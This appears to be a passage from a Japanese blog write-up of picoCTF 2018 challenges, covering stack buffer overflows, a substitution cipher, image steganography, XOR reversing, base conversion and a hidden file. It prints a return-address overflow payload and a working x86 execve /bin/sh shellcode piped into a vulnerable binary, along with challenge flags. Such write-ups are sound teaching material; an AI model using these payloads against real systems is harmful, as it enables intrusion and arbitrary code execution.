  プログラムヘッダ始点:            52 (バイト)
  セクションヘッダ始点:              6504 (バイト)
  フラグ:                            0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         9
  Size of section headers:           40 (bytes)
  Number of section headers:         31
  Section header string table index: 28

トルエンディアンらしいです。
objdumpで逆アセンブリし、win()関数のアドレスを検索

$ gobjdump -d vuln | grep win
080485cb <win>:
 80485ed:   75 1a                   jne    8048609 <win+0x3e>

0x080485cb っぽいですね。
トルエンディアンなので、このアドレスを little endian に直すと \xcb\x85\x04\x08

vuln関数の中の下記部分で、 2行目の eax が、直後の gets() の引数。その前に、ebpのアドレスから0x28前のアドレスがeaxに格納されているので、ebpの0x28前がbufferの先頭アドレスとなる。

 8048638:    8d 45 d8                lea    -0x28(%ebp),%eax
 804863b:   50                      push   %eax
 804863c:   e8 ef fd ff ff          call   8048430 <gets@plt>
eax    | buffer start |
       | <0x28 bytes> |
       | buffer end   |
ebp    | <0x4 bytes>  |
return |              |

最後stackにはebpの4バイトが積まれているはずなので、0x28 + 0x4 = 0x2c (=44) バイトから先が、戻りアドレスに溢れてくる。
ということで、44バイトを何某かで埋めてやり、先程の win関数の アドレスをinputする。

$ echo -e "aaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcb\x85\x04\x08" | ./vuln
Please enter your string:                                                                                       
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb                                                 
picoCTF{addr3ss3s_ar3_3asy3656a9b3}Segmentation fault (core dumped)                       

※ -e option は16進数表記部分のエスケープコードを有効にするため

[Crypto] hertz 2 (200pt)

This flag has been encrypted with some kind of cipher, can you decrypt it? Connect with nc 2018shell.picoctf.com 59771.

指定のホストにアクセス。短い。

$ nc 2018shell.picoctf.com 59771
Let's decode this now!
Cja dsvfm ibqxw yqo rslng qpab cja uhze kqt. V fhw'c iauvapa cjvg vg gsfj hw ahge nbqiual vw Nvfq. Vc'g hulqgc hg vy V gqupak h nbqiual hubahke! Qmhe, yvwa. Jaba'g cja yuht: nvfqFCY{gsigcvcscvqw_fvnjabg_hba_cqq_ahge_geiajvfvbi}

hertz 1 は 単一換字暗号 だったのですが、今回もかな?とりあえず力技。最後の行がフラグっぽいのでここを頼りに。

yuht: nvfqFCY -> flag: picoCTF

と仮定。あとは単語を埋めながら。変換表は下記のようになりました。※変換前の文を全部小文字、変換後を大文字としています。

a -> E
b -> R
c -> T
d -> Q
e -> Y
f -> C
g -> S
h -> A
i -> B
j -> H
k -> D
l -> M
m -> K
n -> p
o -> X
p -> V
q -> O
r -> J
s -> U
t -> G
u -> L
v -> I
w -> N
x -> W
y -> F
z -> Z

全部変換し終えるとこんな文が。

THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG. I CAN'T BELIEVE THIS IS SUCH AN EASY PROBLEM IN PICO. IT'S ALMOST AS IF I SOLVED A PROBLEM ALREADY! OKAY, FINE. HERE'S THE FLAG: PICOCTF{SUBSTITUTION_CIPHERS_ARE_TOO_EASY_SYBEHICIRB}

※ flag部分はもとの大文字小文字に従って大文字小文字変換してやります。
最初の文はwikipediaにも載っていました。

英語のパングラムの一つであり、タイプライターやコンピュータのキーボードの試験などによく用いられる。quick brown fox(クイック・ブラウン・フォックス)と略して呼称することが多い。パングラムとは、ラテン文字のアルファベット26字をすべて用い、かつ重複をなるべく少なくした短文のこと。

フォントのサンプルにもよく用いられるらしいです。暗号文にはぴったり!

[Binary] leak-me (200pt)

Can you authenticate to this service and get the flag? Connect with nc 2018shell.picoctf.com 31045. Source.

Sourceはこちら。 auth.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}


int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  
  // real pw: 
  FILE *file;
  char password[64];
  char name[256];
  char password_input[64];
  
  memset(password, 0, sizeof(password));
  memset(name, 0, sizeof(name));
  memset(password_input, 0, sizeof(password_input));
  
  printf("What is your name?\n");
  
  fgets(name, sizeof(name), stdin);
  char *end = strchr(name, '\n');
  if (end != NULL) {
    *end = '\x00';
  }

  strcat(name, ",\nPlease Enter the Password.");

  file = fopen("password.txt", "r");
  if (file == NULL) {
    printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(password, sizeof(password), file);

  printf("Hello ");
  puts(name);

  fgets(password_input, sizeof(password_input), stdin);
  password_input[sizeof(password_input)] = '\x00';
  
  if (!strcmp(password_input, password)) {
    flag();
  }
  else {
    printf("Incorrect Password!\n");
  }
  return 0;
}

まずはあたって砕けてみます。このパターンだと、配布されたコードとバイナリが、指定されたホストのサーバーで可動していて、コードとバイナリを解析した攻撃をサーバーにかますとflagが取れるはず。
雰囲気掴むために突撃してみる。

$ nc 2018shell.picoctf.com 31045
What is your name?
admin
Hello admin,
Please Enter the Password.
admin
Incorrect Password!

username と password を聞かれるらしい。authだからそれはそうか。
cのコードを眺めてみる。
また buffer overflow の脆弱性がありそう。入力値の namepassword_input が怪しい。

最終的に、パスワードが途中でファイル(password.txt)から読み込んでいる文字列と一致したらflagが出力される様子。
パスワードファイルの読み込みが不自然なところに書かれているのが気になる。また、おそらくパスワードファイルの中身がどこかで取得できる気がするのだけども、攻撃対象になりそうな出力は

puts(name)

の部分。ちゃんと解析してやったほうが良さそうだが、なんとなく name の input でオーバーフローさせると password が出力され、 その password を使ってログインすると良いんじゃない?と推測。

$ nc 2018shell.picoctf.com 31045
What is your name?a
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,a_reAllY_s3cuRe_p4s$word_d98e8d

Incorrect Password!

なんかover flowしたっぽいぞ!

$ nc 2018shell.picoctf.com 31045
What is your name?
test
Hello test,
Please Enter the Password.
a_reAllY_s3cuRe_p4s$word_d98e8d
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_d1667872}

ちゃんと解けるようになるには、アドレスとか調べてやったほうが良さそうなので、あとで復習する。

[Forensics] now you don't (200pt)

We heard that there is something hidden in this picture. Can you find it?

pngファイルが落ちてきた。

$ file nowYouDont.png 
nowYouDont.png: PNG image data, 857 x 703, 8-bit/color RGBA, non-interlaced

f:id:kusuwada:20190304034945p:plain

のっぺりした写真の場合、histgramを取ると外れ値だったりなにか法則が見える可能性がある。
それかな?と当たりをつけ、histgramを取得するプログラムを組む。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from PIL import Image
from pprint import pprint

filename = 'nowYouDont.png'

img = Image.open(filename)
width, height = img.size

histgram = {}
for i in range(256):
    histgram[i] = 0
for h in range(height):
    for w in range(width):
        histgram[img.getpixel((w,h))[0]] += 1
pprint(histgram)

実行結果

$ python histgram.py 
{0: 0,
 1: 0,
 2: 0,
~~中略~~
 142: 0,
 143: 0,
 144: 0,
 145: 595164,
 146: 7307,
 147: 0,
 148: 0,
 149: 0,
~~中略~~
 253: 0,
 254: 0,
 255: 0}

ということで、R,G,B カラーパレットの中の先頭一つ(多分R)の値だけhistgramを取ったが、殆どは145に集中していて一部146にもいる。
この146の部分を人間の目にもわかるように強調してやると、何かしら絵が浮き出てくるかも!二値しかない時点で怪しい。可能性は高そう。
ということで、上記のプログラムに少し手を入れて、2値化の効果がよく分かるような絵を出力させます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from PIL import Image
from pprint import pprint

filename = 'nowYouDont.png'

img = Image.open(filename)
width, height = img.size

img2 = Image.new('RGB', (width, height))

histgram = {}
for i in range(256):
    histgram[i] = 0
for h in range(height):
    for w in range(width):
        histgram[img.getpixel((w,h))[0]] += 1
        if img.getpixel((w,h))[0] == 146:
            img2.putpixel((w,h),(255,255,255))
pprint(histgram)
img2.show()

img2にバッチリflagが出てきました!

f:id:kusuwada:20190304035005p:plain

[Reversing] quackme (200pt)

Can you deal with the Duck Web? Get us the flag from this program. You can also find the program in /problems/quackme_2_45804bbb593f90c3b4cefabe60c1c4e2.

落としてきた main という名前のファイル、バイナリっぽかったので中身を調査。

$ file main 
main: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c0dcb45467941fe620fc135fdf1ba72ecfbc4723, not stripped

実行ファイルですね。
まずは shell server 上で実行してみます。

$ ./main                          
You have now entered the Duck Web, and you're in for a honkin' good time.                                       
Can you figure out my trick?                                                                                    
test                                                                                                            
That's all folks.

今までのようにソースが提供されていないので、バイナリから解読するしかない。ヒントを見てみても

Objdump or something similar is probably a good place to start.

ということで objdump とかしてみたら?ということらしい。

また、Hopper つかいます。 今回はとりあえず読んでみよう、くらいなので、このツールでもなんとか。

まずはmain関数から追ってみます。mainのなかで、do_magicという関数を呼び出しています。更に、このdo_magicの中で、入力値の読み込みと、 "You are winner!"という文字列の出力を行っているようです。
もう少し詳しく見ていきます。すごく横長ですが、Hopperで見られる情報で、do_magic 関数の中の You are winner (080486f8) 近辺です。該当箇所のHopperのUIも参考の為載せておきます。割と見やすいです。

f:id:kusuwada:20190304035050p:plain

 loc_80486bd:
080486bd         mov        eax, dword [ebp+var_18]                             ; CODE XREF=do_magic+207
080486c0         add        eax, sekrutBuffer
080486c5         movzx      ecx, byte [eax]
080486c8         mov        edx, dword [ebp+var_18]
080486cb         mov        eax, dword [ebp+var_14]
080486ce         add        eax, edx
080486d0         movzx      eax, byte [eax]
080486d3         xor        eax, ecx
080486d5         mov        byte [ebp+var_1D], al
080486d8         mov        edx, dword [greetingMessage]                        ; greetingMessage
080486de         mov        eax, dword [ebp+var_18]
080486e1         add        eax, edx
080486e3         movzx      eax, byte [eax]
080486e6         cmp        al, byte [ebp+var_1D]
080486e9         jne        loc_80486ef

080486eb         add        dword [ebp+var_1C], 0x1

             loc_80486ef:
080486ef         cmp        dword [ebp+var_1C], 0x19                            ; CODE XREF=do_magic+167
080486f3         jne        loc_8048707

080486f5         sub        esp, 0xc
080486f8         push       aYouAreWinner                                       ; argument "__s" for method j_puts, "You are winner!"
080486fd         call       j_puts                                              ; puts
08048702         add        esp, 0x10
08048705         jmp        loc_8048713

             loc_8048707:
08048707         add        dword [ebp+var_18], 0x1                             ; CODE XREF=do_magic+177

             loc_804870b:
0804870b         mov        eax, dword [ebp+var_18]                             ; CODE XREF=do_magic+121
0804870e         cmp        eax, dword [ebp+var_10]
08048711         jl         loc_80486bd

             loc_8048713:
08048713         leave                                                          ; CODE XREF=do_magic+195
08048714         ret
                        ; endp

この中でで有力な情報としては、何かのXORを取っているらしい(080486d3)。そしてループしているらしい(08048711)。ということ。

XORを取っているのは、xor eax, ecx 。ecx には sekrutBuffer の値が入っていて、eax には input が入っている様子。これを、一文字ずつ XOR 取っていき、 greetingMessage の文字と比較している。
greetingMessageYou have now entered the Duck Web, and you're in for a honkin' good time....(続く)
sekrutBuffer は下記の通り。

             sekrutBuffer:
08048858         db  0x29 ; ')'                                                 ; DATA XREF=do_magic+126
08048859         db  0x06 ; '.'
0804885a         db  0x16 ; '.'
0804885b         db  0x4f ; 'O'
0804885c         db  0x2b ; '+'
0804885d         db  0x35 ; '5'
0804885e         db  0x30 ; '0'
0804885f         db  0x1e ; '.'
08048860         db  0x51 ; 'Q'
08048861         db  0x1b ; '.'
08048862         db  0x5b ; '['
08048863         db  0x14 ; '.'
08048864         db  0x4b ; 'K'
08048865         db  0x08 ; '.'
08048866         db  0x5d ; ']'
08048867         db  0x2b ; '+'
08048868         db  0x56 ; 'V'
08048869         db  0x47 ; 'G'
0804886a         db  0x57 ; 'W'
0804886b         db  0x50 ; 'P'
0804886c         db  0x16 ; '.'
0804886d         db  0x4d ; 'M'
0804886e         db  0x51 ; 'Q'
0804886f         db  0x51 ; 'Q'
08048870         db  0x5d ; ']'
08048871         db  0x00 ; '.'

さらに、ループ処理に注目。

~~hogehoge~~
080486e9         jne        loc_80486ef

080486eb         add        dword [ebp+var_1C], 0x1

             loc_80486ef:
080486ef         cmp        dword [ebp+var_1C], 0x19                            ; CODE XREF=do_magic+167
080486f3         jne        loc_8048707

この部分で、080486e9 より前の比較(hogehoge)で条件に合わなければ [ebp+var_1C] に 1 を足し、hogehogeの条件を満たせば、 [ebp+var_1C] と 0x19(すなわち25) を比較して、一致すればのぞみの You are winner を表示てくれる。ということは、[ebp+var_1C] はカウンタの役割を果たしており、XORの比較が25まで進めばOKのよう。25は sekrutBuffer の文字数とも合う。

sekrutBuffer XOR input == greetingMessage

を満たすinputを求めれば良い。A XOR B = C の場合、 A XOR C = B なので、 sekrutBuffer と greetingMessage の XOR を取ってやる。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

greetingMsg = "You have now entered the Duck Web, and you're in for a honkin' good time."
sekrutBuffer = bytes.fromhex('2906164f2b35301e511b5b144b085d2b56475750164d51515d').decode('utf-8')
inputMsg = ''

for i in range(len(sekrutBuffer)):
    inputMsg += chr(ord(sekrutBuffer[i]) ^ ord(greetingMsg[i]))

print(inputMsg)

実行結果

$ python solve.py 
picoCTF{qu4ckm3_35246994}

念の為 main の実行時に flag を入力してみると、ちゃんと You are winner! が表示されました。

$ ./main      
You have now entered the Duck Web, and you're in for a honkin' good time.                   
Can you figure out my trick?                                                                
picoCTF{qu4ckm3_35246994}                                                                   
You are winner!                                                                             
That's all folks. 

[Binary] shellcode (200pt)

This program executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_0_48532ce5a1829a772b64e4da6fa58eed on the shell server. Source.

与えられたソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter a string!");
  vuln(buf);

  puts("Thanks! Executing now...");
  
  ((void (*)())buf)();
     
  return 0;
}

与えられた実行ファイル(program)

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=fdba7cd36e043609da623c330a501f920470b49a, not stripped

実行してみます。

$ ./vuln                        
Enter a string!
test
test
Thanks! Executing now...
Segmentation fault (core dumped)

test と入れただけで Secmentation fault してしまった。

ReversingとBinaryは、迷わずHintを見ます。

Maybe try writing some shellcode? You also might be able to find some good shellcode online.

???
わからないのでググります。

Wikipedia: シェルコード

シェルコード(英: Shellcode)とは、コンピュータセキュリティにおいて、ソフトウェアのセキュリティホールを利用するペイロードとして使われるコード断片である。侵入したマシンを攻撃者が制御できるようにするため、シェルを起動することが多いことから「シェルコード」と呼ぶ。シェルコードは機械語で書かれることが多いが、機械語でなくとも同様のタスクを実行できるコード断片はシェルコードと呼ばれる。

ほうほう!しかも

(*(void(*)()) shellcode)()

こういう書き方は、shellcodeの呼び出しに使われるらしい。
ということは、入力時に「隣の flag.txt を出力するようなshellcode」を入力できれば良さそう!

ただの linux command だと、cat flag.txt とかなんだけど。ここはヒントの通り、フィルを出力させるようなshellcodeがweb上に落ちているっぽいので探してみます。

shellcode catgoogle検索かけようとしたら、候補に shellcode cat flag.txt が出てくるという…。shellcode cat file -picoCTF とかだとネタバレもなくて良さげ。

こんなページが。
Shellcodes database for study cases

Although these kinds of shellcode presented on this page are rarely used for real exploitations, this page lists some of them for study cases and proposes an API to search specific ones. Thanks all for your contributions of this database but we stopped to accept shellcodes. To learn modern exploitation, checkout how to the Return Oriented Programming works.

ということで、悪用禁止の学習用のシェルコードデータベース検索サイトのようです。

今回はLinx向けの /bin/sh 関連の shellcode が探したかったので、APIは使わず、トップページから /bin/sh で引っかかった Linx/x86 系のcodeサンプルを覗いてみました。

たくさんあってよくわからないので、もう少し調べてみます。

Linux x86用のシェルコードを書いてみる - ももいろテクノロジー

ももいろテクノロジーさんにも shellcode 系の記事がいくつか上がっていましたが、

一般に、シェルを起動するにはexecve(2)システムコールを使う

だそうです。
これを胸に、再度探したところ、Linux/x86 - execve /bin/sh - 21 bytes by ipv

この辺のshellcodeがシンプルそうだったので使ってみます。

shellcodeを使用する際は、こんな感じの呼び出し方。

$ (echo -en "{shellcode}"; cat) | ./vuln
  • ※ cat は shell をオープンしておくため
  • ※ echoのoption -e は 改行を表示
$ (echo -e "\x6a\x0b\x58\x99\x52
\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"; cat) | ./vuln                                
Enter a string!                                                                                                 
j                                                                                                               
 XRh//shh/bin1̀                                                                                                 
Thanks! Executing now...                                                                                        
cat flag.txt
picoCTF{shellc0de_w00h00_9ee0edd0}

おお!無事フラグが出力されました。また新しい世界を見た。

[General] what base is this? (200pt)

To be successful on your mission, you must be able read data represented in different ways, such as hexadecimal or binary. Can you get the flag from this program to prove you are ready? Connect with nc 2018shell.picoctf.com 1225.

指定のホストに接続。問題文を読む限り、いろんな形式 (hexやbinary) の文字列が降ってくるのかな。

$ nc 2018shell.picoctf.com 1225
We are going to start at the very beginning and make sure you understand how data is stored.
robot
Please give me the 01110010 01101111 01100010 01101111 01110100 as a word.
To make things interesting, you have 30 seconds.
Input:

まずは2進数をasciiコードに。30秒では無理だったが、この辺のサイトで検索しながら解読。

10進16進2進ASCIIコード表 - 【はてな】ガットポンポコ

robot、が答え。あれ、なんか問題文に書いてあったぞ。
ちなみに、再度接続すると問題が変わっているので、プログラムしたほうが良さそう。

これをクリアすると、次の問題は

Please give me the 6170706c65 as a word.
Input:

どうやら hex -> ascii っぽい。
こちらもプログラムに組んで、クリアすると、次の問題は

Please give me the  141 160 160 154 145 as a word.
Input:

これは10進数か8進数 -> ascii っぽい。8進数と仮定すると apple の単語になったのでこのまま続行。
これもクリアするとFlagが降ってくる。

こんなプログラム書きました。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import binascii

def hex2ascii(hex_str):
    return bytes.fromhex(hex_str).decode('utf-8')

def bin2ascii(bin_str):
    n = int(bin_str, 2)
    return n.to_bytes((n.bit_length() + 7) // 8, 'big').decode()

def oct2ascii(oct_str):
    return chr(int(oct_str, 8))

def int2ascii(int_str):
    return chr(int(int_str))

while True:
    str_format = input('please input format. {bin|hex|oct}\n')
    str_list = input('please input char list.\n')
    str_arr = str_list.split()
    output = ""
    
    for s in str_arr:
        if str_format == 'bin':
            output += bin2ascii(s)
        elif str_format == 'hex':
            output += hex2ascii(s)
        elif str_format == 'oct':
            output += oct2ascii(s)
        else:
            print('unknown format.')
            break
    print(output)

サーバーとのやり取り

$ nc 2018shell.picoctf.com 1225
We are going to start at the very beginning and make sure you understand how data is stored.
wichita
Please give me the 01110111 01101001 01100011 01101000 01101001 01110100 01100001 as a word.
To make things interesting, you have 30 seconds.
Input:
wichita                                                       
Please give me the 70686f6e65 as a word.
Input:
phone
Please give me the  164 157 170 151 143 as a word.
Input:
toxic
You got it! You're super quick!
Flag: picoCTF{delusions_about_finding_values_451a9a74}

プログラム実行結果

$ python solve.py 
please input format. {bin|hex|oct}
bin
please input char list.
01110111 01101001 01100011 01101000 01101001 01110100 01100001
wichita
please input format. {bin|hex|oct}
hex
please input char list.
70686f6e65
phone
please input format. {bin|hex|oct}
oct
please input char list.
164 157 170 151 143
toxic
please input format. {bin|hex|oct}

まぁ全部自動で動くようにすればよかったんですけどね。ちょっと面倒で。。。

[General] you can't see me (200pt)

'...reading transmission... Y.O.U. .C.A.N.'.T. .S.E.E. .M.E. ...transmission ended...' Maybe something lies in /problems/you-can-t-see-me_4_8bd1412e56df49a3c3757ebeb7ead77f.

直訳すると、"...通信読み込み... あなたには私が見えない ...通信終了..." 指定pathに多分何かある。
ということで、指定されたpathに picoCTF の shell server で行ってみた。

$ cd /problems/you-can-t-see-me_4_8bd1412e56df49a3c3757ebeb7ead77f
$ $ ls -alF                
total 60                                                                                                        
drwxr-xr-x   2 root       root        4096 Nov 15 02:40 ./
-rw-rw-r--   1 hacksports hacksports    57 Nov 15 02:40 .                                                       
drwxr-x--x 566 root       root       53248 Nov 15 04:28 ../

ほーん?なんか二番目のやつ、怪しいですね。からのディレクトリなら、普通はrootの ./../ しかないはず。 . というファイル名のファイルが存在してるっぽい。
普通に lesscat で見ようとしても、directoryだと怒られてしまいます。

$ less .
. is a directory

もしやこのファイル名、 . ではなく ..  なのでは?ということで、ドットのあとにスペースが付いている可能性を考慮し、

$ less .*
. is a directory                                                                                                
.\ \   (press RETURN)
picoCTF{j0hn_c3na_paparapaaaaaaa_paparapaaaaaa_22f627d9}                                                        
.\ \  (file 1 of 2) (END) - Next: ..

おー、でた。正解は .\ \、すなわち ドットスペーススペース、というファイル名だった様子。